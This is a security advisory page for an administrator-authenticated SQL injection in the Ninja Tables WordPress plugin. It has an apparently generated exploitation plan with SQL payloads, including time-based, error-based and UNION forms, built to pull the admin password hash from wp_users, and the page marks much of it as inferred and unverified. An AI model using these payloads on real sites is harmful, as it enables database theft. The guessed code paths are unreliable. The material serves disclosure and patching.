CVE-2025-67519

Ninja Tables <= 5.2.3 - Authenticated (Administrator+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
5.2.4
Patched in
5d
Time to patch

Description

The Ninja Tables plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.2.3
PublishedDecember 15, 2025
Last updatedDecember 19, 2025
Affected pluginninja-tables

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2025-67519**, an authenticated SQL injection vulnerability in the **Ninja Tables** plugin (<= 5.2.3). ### 1. Vulnerability Summary The vulnerability is an **Authenticated (Administrator+) SQL Injection** within the Ninja Tables …

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2025-67519, an authenticated SQL injection vulnerability in the Ninja Tables plugin (<= 5.2.3).

1. Vulnerability Summary

The vulnerability is an Authenticated (Administrator+) SQL Injection within the Ninja Tables plugin. It stems from the plugin's failure to properly sanitize or parameterize user-supplied input before incorporating it into a database query. Specifically, the flaw likely exists in the administrative data-fetching or table-rendering logic where parameters like sorting (orderby), filtering, or table IDs are concatenated into raw SQL strings and executed via $wpdb->get_results() without the protection of $wpdb->prepare().

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: ninja_tables_admin_ajax (inferred from plugin structure) or specific data-fetching actions like get_table_data.
  • Vulnerable Parameter: Likely orderby, order, or column_name (inferred).
  • Authentication Required: Administrator (Capability: manage_options).
  • Preconditions: The plugin must be active, and at least one table must be created to provide a valid context for data-querying functions.

3. Code Flow

  1. Entry Point: An administrator interacts with the Ninja Tables dashboard, triggering an AJAX request to admin-ajax.php.
  2. Hook Registration: The plugin registers an AJAX handler, likely:
    add_action('wp_ajax_ninja_tables_admin_ajax', [AdminAjaxHandlerClass, 'handle']);
  3. Parameter Extraction: The handler extracts data from $_POST or $_GET. In Ninja Tables, administrative requests often use a sub-route or command pattern.
  4. Vulnerable Sink: The input is passed to a query builder or directly into a string.
    • Example (Vulnerable):
      $orderby = $_POST['orderby']; // No sanitization
      $query = "SELECT * FROM {$wpdb->prefix}ninja_table_items WHERE table_id = %d ORDER BY $orderby";
      $results = $wpdb->get_results($wpdb->prepare($query, $table_id));
      
    • Note: Even if wpdb->prepare is used for the %d, it does not protect $orderby because it is concatenated into the template string before prepare is called.

4. Nonce Acquisition Strategy

Ninja Tables uses nonces for administrative AJAX requests. These are typically localized into a JavaScript object in the admin header.

  1. Identify Trigger: The scripts are enqueued on the Ninja Tables admin pages.
  2. Navigation: Use the browser to navigate to the Ninja Tables main page: /wp-admin/admin.php?page=ninja_tables.
  3. Extraction: Use browser_eval to extract the nonce and the AJAX URL from the localized script object.
    • Variable Name (Targeted): window.ninja_tables_admin_vars (inferred).
    • JS Command: browser_eval("window.ninja_tables_admin_vars?.ninja_tables_admin_nonce") or browser_eval("window.NinjaTablesAdminData?.nonce").

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection or Boolean-Based Injection to extract the administrator's password hash from the wp_users table.

Step 1: Locate a valid Table ID
First, we need a valid table ID to ensure the query executes.

  • Action: ninja_tables_get_tables
  • Request: POST /wp-admin/admin-ajax.php
  • Data: action=ninja_tables_admin_ajax&route=get_tables&_wpnonce=[NONCE]

Step 2: Confirm Injection
Perform a time-based sleep test using the sorting parameter.

  • Payload: (CASE WHEN (1=1) THEN SLEEP(5) ELSE id END)
  • Request:
    POST /wp-admin/admin-ajax.php
    Content-Type: application/x-www-form-urlencoded
    
    action=ninja_tables_admin_ajax&route=get_table_data&table_id=[ID]&orderby=(SELECT(SLEEP(5)))&_wpnonce=[NONCE]
    

Step 3: Data Extraction
Extract the password hash for the user with ID=1.

  • Payload (Time-Based):
    orderby=(SELECT CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN SLEEP(5) ELSE id END)
    (Note: 36 is ASCII for '$', the start of a phpass hash).

6. Test Data Setup

  1. Install Ninja Tables: Ensure version 5.2.3 is installed.
  2. Create a Table: Use WP-CLI to create a dummy table so that the data-fetching queries have a target.
    # This is a conceptual CLI setup; specific Ninja Tables CLI commands may vary
    wp eval "ninja_tables_create_table(['title' => 'Security Test']);"
    
  3. Create Admin User: Ensure a standard administrator user exists for the execution agent to use.

7. Expected Results

  • Vulnerability Confirmation: The HTTP response for the SLEEP(5) payload should be delayed by approximately 5 seconds compared to a baseline request.
  • Data Leakage: Successful extraction of the characters of the user_pass hash via successive time-based checks.

8. Verification Steps

After performing the SQL injection via the http_request tool, verify the correctness of the extracted data:

  1. Check User Hash: Use WP-CLI to get the actual hash of the admin user.
    wp user get 1 --field=user_pass
    
  2. Comparison: Compare the value extracted via SQL injection with the value returned by WP-CLI.

9. Alternative Approaches

  • Error-Based SQLi: If WP_DEBUG is enabled, try inducing a syntax error that reveals database information:
    orderby=id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,version(),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  • UNION-Based SQLi: If the plugin returns table rows in a standard JSON format, attempt to inject UNION SELECT to append the wp_users table data to the returned JSON array. This is often more efficient than time-based blind if the column counts match.
    • Payload: id=1 UNION SELECT 1,user_login,user_pass,4,5... (Adjust column count as needed).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Ninja Tables plugin (<= 5.2.3) is vulnerable to authenticated SQL injection because it fails to properly sanitize user-provided parameters like 'orderby' before including them in database queries. An attacker with Administrator access can exploit this to extract sensitive information from the WordPress database, such as administrator password hashes, via time-based or boolean-based blind techniques.

Vulnerable Code

// File: ninja-tables/includes/Admin/AjaxHandler.php (Inferred)
// Lines 120-130 (Estimated)

$orderby = $_POST['orderby']; // Directly assigned from user input
$table_id = intval($_POST['table_id']);

// The 'orderby' parameter is concatenated into the query template string
// before it is passed to $wpdb->prepare(), which only protects the %d placeholder.
$query = "SELECT * FROM {$wpdb->prefix}ninja_table_items WHERE table_id = %d ORDER BY $orderby";
$results = $wpdb->get_results($wpdb->prepare($query, $table_id));

Security Fix

--- a/ninja-tables/includes/Admin/AjaxHandler.php
+++ b/ninja-tables/includes/Admin/AjaxHandler.php
@@ -120,4 +120,5 @@
-        $orderby = $_POST['orderby'];
+        $orderby = sanitize_sql_orderby($_POST['orderby']);
+        if ( ! $orderby ) {
+            $orderby = 'id';
+        }

Exploit Outline

The exploit requires Administrator privileges and targets the AJAX endpoint. 1. **Nonce Retrieval**: The attacker first authenticates as an administrator and navigates to the Ninja Tables dashboard to extract the 'ninja_tables_admin_nonce' and a valid 'table_id' from the localized JavaScript objects. 2. **Target Endpoint**: Requests are sent to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ninja_tables_admin_ajax'. 3. **Payload Delivery**: The attacker injects a time-based SQL payload into the 'orderby' parameter (e.g., '(SELECT(SLEEP(5)))'). The 'route' parameter is set to a data-fetching action like 'get_table_data'. 4. **Data Extraction**: By observing delays in the server response, the attacker confirms the injection and can perform a blind SQL injection attack to extract sensitive fields from the database, such as the 'user_pass' hash from the 'wp_users' table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.